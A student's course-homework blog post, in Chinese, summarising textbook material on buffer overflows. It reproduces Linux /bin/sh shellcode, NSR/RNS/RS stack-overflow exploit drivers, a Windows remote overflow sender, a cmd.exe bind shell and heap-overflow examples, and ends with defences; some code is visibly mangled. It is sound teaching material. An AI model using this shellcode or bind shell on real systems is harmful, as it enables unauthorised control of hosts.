《网络攻防实践》第十周作业
一、前言
- 这个作业属于哪个课程:https://edu.cnblogs.com/campus/besti/19attackdefense
- 这个作业的要求在哪里:https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
- 我在这个课程的目标是:学习网络攻防相关知识,提升专业技能
- 这个作业在哪个具体方面帮助我实现目标:学习缓冲区溢出和shellcode
二、知识点总结
1.软件安全概述
1.1 软件安全漏洞
安全漏洞:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。
安全漏洞三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性,以及攻击者对缺陷的可利用性。因此一个安全脆弱性或缺陷真正被称为安全漏洞,必须是攻击者具备至少一种攻击工具或技术能够访问和利用到这一缺陷。
软件安全困难三要素:
- 复杂性:现代软件复杂,软件源代码行数越来越多。
- 可扩展性:大多数现代操作系统通过动态装载设备驱动和模块支持可扩展性,,客户端通过运行时编译或解释执行的虚拟机允许运行移动代码。
- 连通性:网络连通性使得不需要人为干涉的自动化攻击成为可能
软件安全漏洞类型: - 内存安全违规类:是在软件开发过程中在处理RAM内存访问时所引入的安全缺陷,如缓冲区溢出漏洞等。不安全指针是指在计算机程序中存在的并没有指向适当类型对象的非法指针,在对这些指针进行引用时,往往发生一些不可预期的后果,导致程序内存访问错误,而一旦攻击者可以控制这些指针指向的内存内容,那他们就可以利用这些问题构造出恶意攻击,获得软件的控制权。
- 输入验证类:输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。
- 竞争条件类:竞争条件类缺陷是系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或者结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。
- 权限混淆与提升类:滥用权限所导致的漏洞,权限提升漏洞通常被攻击者用于获取系统管理员或系统开发者预期之外的更高访问权限,用于执行内核级别的操作
1.2 缓冲区溢出基础概念
缓冲区溢出:在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。理想情况下,程序应检查每个输入缓冲区的数据长度,并不允许输入超出缓冲区本身分配的空间容量,但是大量程序总是假设数据长度是与所分配的存储空间相匹配的,因而很容易产生缓冲区溢出漏洞。
缓冲区溢出漏洞通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数的引用位置,由于这些函数并不检查内存越界问题,而程序员一般也没有足够的安全编程意识、经验与技巧,对复制的目标缓冲区普遍没有进行严格的边界安全保护,细究缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础架构-冯·诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。这一缺陷使得攻击者可以将输入的数据,通过利用缓冲区溢出漏洞,覆盖修改程序在内存空间中与数据区相邻存储的关键指令,从而达到使程序执行恶意注入指令的攻击目的。
汇编语言基础知识:
汇编语言,尤其是IA32 (Intel 32位)架构下的汇编语言,是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。
在IA32汇编语言中,首先我们需要熟悉常用的寄存器和它们对应的功能,如表所示。我们从应用的角度一般将寄存器分为4类,即通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器如eax、ebx、 ecx、 edx 等,主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。我们需要特别注意通用寄存器中的“栈指针”寄存器esp,它在栈溢出攻击时是个关键的操纵对象。
段寄存器在IA32架构中是16位的,一般用作段基址寄存器。控制寄存器用来控制处:理器的执行流程,其中最关键的是eip, 也被称为“指令指针”,它保存了下一条即将执行的机器指令的地址,因而也成为各种攻击控制程序执行流程的关键攻击目标对象,而如何修改与改变将要被装载至eip寄存器的内存数据,以及修改为何地址,是包括缓冲区溢出在内渗透攻击的关键所在。其他寄存器中值得关注的是“扩展标志”eflags寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。
寄存器名 | 说明 | 功 能 |
---|---|---|
eax | 累加器 | 加法乘法指令的缺省寄存器,函数返回值 |
ecx | 计数器 | REP & LOOP指令的内定计数器 |
edx | 除法寄存器 | 存放整数除法产生的余数 |
ebx | 基址寄存器 | 在内存寻址时存放基地址 |
esp | 栈顶指针寄存器 | SS: ESP当前堆栈的栈顶指针 |
ebp | 栈底指针寄存器 | SS: EBP 当前堆栈的栈底指针 |
esi,dei | 源、目标索引寄存器 | 在字符串操作指令中,DS: ESI 指向源串ES: EDI 指向日标串 |
eip | 指令寄存器 | CS:EIP指向下一条指令的地址 |
eflags | 标志寄存器 | 标志寄存器 |
cs | 代码段寄存器 | 当前执行的代码段 |
ss | 堆栈寄存器 | stack segment,当前堆栈段 |
ds | 数据段寄存器 | data segment,当前数据段 |
类UNIX平台GDB调试器小结:
- break/clear:设置或移除断点
- enable/disable:启用或禁用断点
- watch:设置监视表达式值改变时的程序中断
- run:运行程序
- attach:调试已运行进程
- continue:继续运行
- next:单步代码执行并不进入函数调用
- nexti:单步指令执行并不进入函数调用
- step:单步代码执行并跟入函数调用
- stepi:单步指令并跟入函数调用
- info:查看各种信息
- backtrace:显示调用栈
- x:限制指定地址内容
- print:显示表达式值
- list:列出程序源码,需调试程序带符号编译
- disass:反汇编指定函数
Intel汇编格式与AT&T汇编格式如下:
在IA32架构汇编语言中,又分为Intel和AT&T两种具有很多差异的汇编格式,在类UNIX平台下,通常使用AT&T汇编格式,而在DOS/Windows平台下,则主要使用Intel汇编格式。
进程内存管理:
程序在执行时,系统在内存中会为程序创建一个虚拟的内存地址空间,在32位机上即4GB的空间大小,用于映射物理内存,并保存程序的指令和数据
Linux进程内存空间布局如下图所示,其中,3GB以下为用户态空间,3GB-4GB为内核态空间,操作系统将可执行程序加载到新创建的内存空间中,程序一般包含.text,.bss和.data三种类型的段
- .text段包含程序指令,在内存中被映射为只读
- .data段主要包含静态初始化的数据
- .bss段则主要包含未经初始化的数据
函数调用过程:
程序进行函数调用的过程如下:分为三个步骤,调用,序言,返回。
- 调用:调用者将函数调用参数、函数调用下一条指令的返回地址压栈,并跳转至被调用函数入口地址。
- 序言: 被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并创建自身函数的栈结构,具体包括将ebp寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新esp寄存器为当前栈顶指针等。
- 返回: 被调用函数执行完功能将指令控制权返回给调用者之前,会进行返回阶段的操作,通常执行leave和ret指令,即恢复调用者的栈顶与栈底指针,并将之前压栈的返回地址装载至指令寄存器eip中,继续执行调用者在函数调用之后的下一条指令。
函数调用过程代码实例:
#include <stdio.h>
int func(int a, int b){
int retVal = a+ b;
printf("b: 0x%08x
",&b);
printf("a: 0x%08x
",&a);
printf("ret addr here: 0x%08x
",&a-1);
printf("stored ebp here: 0x%08x
",&a-2);
printf("retVal: 0x%08x
", &retVal);
return retVal;
}
int main(int argc, char* argv[])
{
int result = func(1, 2);
return 0;
}
缓冲区溢出攻击原理:
缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出三种具体技术形态。
- 栈溢出:存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息,从而导致程序流程的改变
- 堆溢出:存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题
- 内核溢出:由于进程内存空间内核态中存储的缓冲区变量被溢出造成的
1.3 Linux平台上的栈溢出与shellcode
Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR,RNS,RS三种模式
NSR模式:
适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操作指令)之后填充Shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区
#include<stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
#include<stdlib.h>
#include<string.h>
char shellcode[]=
// setreuid(0,0);
"x31xc0" // xor %eax,%eax
"x31xdb" // xor %ebx,%ebx
"x31xc9" // xor %ecx,%ecx
"xb0x46" // mov $0x46,%al
"xcdx80" // int $0x80
// execve /bin/sh
"x31xc0" // xor %eax,%eax
"x50" // push %eax
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x8dx54x24x08" // lea 0x8(%esp,1),%edx
"x50" // push %eax
"x53" // push %ebx
"x8dx0cx24" // lea (%esp,1),%ecx
"xb0x0b" // mov $0xb,%al
"xcdx80" // int $0x80
// exit();
"x31xc0" // xor %eax,%eax
"xb0x01" // mov $0x1,%al
"xcdx80"; // int $0x80
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]){
char buf[530];
char* p; p=buf;
int i; unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1) offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf)); #把整个BUF填满NOPS
memcpy(buf+524,(char*)&ret,4); #把EIP用我们的RET覆盖,让程序跳转到NOPS里面
memcpy(buf+i+100,shellcode,strlen(shellcode)); #从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS 当然可以增大NOPS的数目
printf("ret is at 0x%8x
esp is at 0x%8x
",
ret,get_esp());
execl("./vulnerable1","vulnerable1",buf,NULL); #执行漏洞程序
return 0;
}
RNS模式:
一般用于被溢出的变量比较小,不足以容纳Shellcode的情况,攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出着陆区,最后再是Shellcode,在溢出攻击之后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop指令所构成的着陆区,并最终指向Shellcode
#include<stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x
",&buf);
getchar();
return 0;
}
int main(int argc,char **argv){
char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf)); #用前44BYTES填满RET
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode)); #把SHELLCODE复制到合适的位置
execl("./vulnerable2","vulnerable2",buf,NULL); #执行漏洞程序
return 0;
}
RS模式:
精确定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无须引入Nop空指令构建着陆区。这种模式将shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的可通如下公式计算:
ret=0xc0000000-sizeof(void *)-sizeof(FILENAME)-sizeof(Shellcode)
int main(int argc,char **argv){
char buf[32];
char *p[]={"./vulnerable2",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL}; #把SHELLCODE放入将要执行的环境变量中
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *);
memset(buf,0x41,sizeof(buf)); #把整个BUF用A填满
memcpy(&buf[28],&ret,4); #计算RET的值,并覆盖EIP
printf("ret is at 0x%8x
",ret);
execve("./vulnerable2", "/vulnerable2", buf, env); #执行漏洞程序
return 0;
}
Linux平台远程栈溢出:
攻击原理与本地栈溢出是一样的,区别在于用户输入传递的途径不同,以及shellcode的编写方式不同。本地栈溢出攻击中的Shellcode主要会包含提升至较当前运行用户权限更高的权限,并给出本地Shell访问;而远程栈溢出攻击的Shellcode则需要将Shell访问与网络连接起来,给出一个远程的Shell访问。
Linux本地Shellcode实现机制:
- 先用高级编程语言,通常是C,编写Shellcode程序
- 编译并反汇编调试这个SHellcode程序
- 从汇编语言代码级别分析程序执行流程
- 整理生成的汇编代码,尽量减小它的体积并使它可注入,并使得他可注入,并可通过嵌入C语言进行运行测试和调试
- 提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组
Linux远程Shellcode实现机制:
Linux远程Shellcode与之类似,不过它需要让攻击目标程序创建socket监听指定的端口等待客户端连接,启动一个命令行shell,并将命令行的输入输出与socket绑定,这样攻击者就可以通过socket客户端连接目标程序所在主机的开放端口,与服务端socket建立起通信通道,并获得远程访问shell
1.4 Windows平台栈溢出攻击技术
Windows操作系统与Linux操作系统实现机制的不同:
- 对程序运行过程中废弃栈的处理方式差异
- 进程内存空间的布局差异
- 系统功能调用的实现方式差异
Windows远程栈攻击:
Windows远程Shellcode大致过程如下:
- 创建一个服务器端socket,并在指定的端口上监听;
- 通过accept()接受客户端的网络连接;
- 创建子进程,运行“cmd.exe”,启动命令行;
- 创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。
#include <winsock2.h>
#include <stdio.h>
#progma comment(lib,"ws2_32")
char Buff[1024];
void overflow(char * s, int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
野外Windows栈溢出:
针对真实的漏洞服务实施远程栈溢出攻击的野外代码在互联网上也随处可得,在Exploit-db、Milw0rm、Packetstorm等渗透攻击代码共享网站上,这些程序都是针对一个特定的安全漏洞实施攻击,并需要配置目标操作系统的类型与版本,程序执行的过程关键是组装出包含填充数据、指令跳转地址和Shellcode的攻击数据,然后通过网络协议交互将攻击数据注入至目标程序的漏洞利用点上,实施溢出攻击,控制目标程序流程,转而执行攻击者注入的Shellcode。
Windows本地Shellcode:
编写shellcode最简单的方式是使用硬编码的函数地址,比如system()函数在Windows XP特定版本的目标程序内存空间加载地址为0x77bf93c7,我们在shellcode中可以使用Call 0x77bf93c7指令来让EIP指令寄存器跳转至硬编码的函数入口地址执行,这种方法可以有效压缩编码长度。
这里给出C语言版的Windows本地Shellcode程序,即使用LoadLibrary()函数加载msvert.dll动态链接库,通过GetProcAddress()函数获得system函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system()函数,启动命令行Shell,最后还要调用exit()退出当前进程:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(
LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(
LibHandle, sysbuf2);
(ProcAdd2)(0);
}
然后把上述代码转化为汇编语言,查询相关指令表,可以转化为Opcode硬编码的shellcode:
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,08h
mov byte ptr [ebp-0ch],63h
mov byte ptr [ebp-0bh],6fh
mov byte ptr [ebp-0ah],6dh
mov byte ptr [ebp-09h],6Dh
mov byte ptr [ebp-08h],61h
mov byte ptr [ebp-07h],6eh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6fh
mov byte ptr [ebp-02h],6dh
lea eax,[ebp-0ch]
push eax
mov eax, 0x77bf8044
call eax
Windows远程Shellcode:
- 创建一个服务器端socket,并在指定的端口上监听;
- 通过accept()接受客户端的网络连接:
- 创建子进程,运行“cmd.exe",启动命令行;
- 创建两个管道,命令管道将服务器端socket接收(recv) 到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入:然后输出管道将cmd.exe的标准输出连接公服务器端socket的发送( send),通过网络将运行结果反馈给客户端。
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}
1.5 堆溢出攻击
堆溢出之所以较栈溢出具有更高的难度,最重要的原因在于堆中并没有可以直接覆盖并修改指令寄存器指针的返回地址,因此往往需要利用在堆中一些会影响程序执行流程的关键变量,如函数指针、C++类对象中的虚函数表,或者挖掘出堆中进行数据操作时可能存在的向指定内存地址改写内容的漏洞机会。
函数指针改写:
堆溢出进行函数指针改写攻击需要被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向。在符合这种变量布局的条件下,当向缓冲区填充数据时,如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址,攻击者只要能够将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode。
假设buffer区缺乏保护安全便捷的缓冲区,在它响铃的高地址方向有一个函数指针funcptr,攻击者通过strncpy()漏洞,将用户输入的字符串缓冲区复制到buffer时,利用堆溢出,将system()函数的地址复制至funcptr,然后程序调用funcptr函数指针时,会调用system()函数。
#define ERROR -1
#define BUFSIZE 16
int goodfunc(const char *str)
{
printf("
Hi, I'm a good function. I was called through funcptr.
");
printf("I was passed: %s
", str);
return 0;
}
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>
", argv[0]);
exit(ERROR);
}
printf("system()'s address = %p
", &system);
funcptr = (int(*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p
", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %p
", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
C++类对象虚函数表改写:
C++类通过虚函数提供了一种Late binding运行过程绑定的机制,编译器为每个包含虚函数的类建立起虚函数表,存放虚函数的地址,并在每个类对象的内存区放入一个指向虚函数表的指针,通常称为虚函数指针vptr。对于使用了虚函数机制的C++类,如果它的类成员变量中存在可被溢出的缓冲区,那么就可以进行堆溢出攻击,通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚函数表,从而转向执行攻击者恶意注入的指令。
#include <iostream>
class A
{
private:
char str[11];
public:
void setBuffer(char * temp)
{
strcpy(str,temp);
}
virtual void printBuffer()
{
cout<<str<<endl;
}
};
void main(int argc, char* argv[])
{
A *a;
a = new A;
a->setBuffer(argv[1]);
a->printBuffer();
}
Linux下堆管理glibe库free()函数漏洞:
glibc库的free函数为我们提供了这样的机会,free函数在处理内存块回收时,需要将已被释放的空闲块和与之相邻的空闲块进行合并,因此将会把符合条件的空闲块从Bin链表中unlink摘出来,合并之后再将新的空闲块插回链表中。
1.6 缓冲区溢出攻击的防御技术
- 尝试杜绝溢出的防御技术:第一种采取如高级差错程序fault injection,通过Fuzz注入测试来寻找代码的安全漏洞,或者在编译器上引入针对缓冲区的便捷保护检查机制如Jone & Kelly针对gcc的数组边界检查、Compaq C对编译器进行改进杜绝溢出。
- 允许溢出但不让程序改变执行流程的防御技术:第二种防御技术允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。通过对编译器gcc加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个Canary检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。
- 无法让攻击代码执行的防御技术:第三种通过堆栈不可执行限制来防御缓冲区溢出攻击,通过CPU硬件和各种操作系统内核补丁来支持堆栈不可执行。
三、学习中遇到的问题及解决
- 这一章涉及到了汇编部分,难度较大,看起来还是很吃力的,很多知识点都来不及消化。通过参考别的同学博客,一步步分析稍有理解。
四、学习感想和体会
本次实验主要学习了缓冲区溢出和shellcode,能够进行一些简单的汇编语言分析。重点在分析上,教材上内容比较多,还需要多回顾复习。
2020 年 5月 6日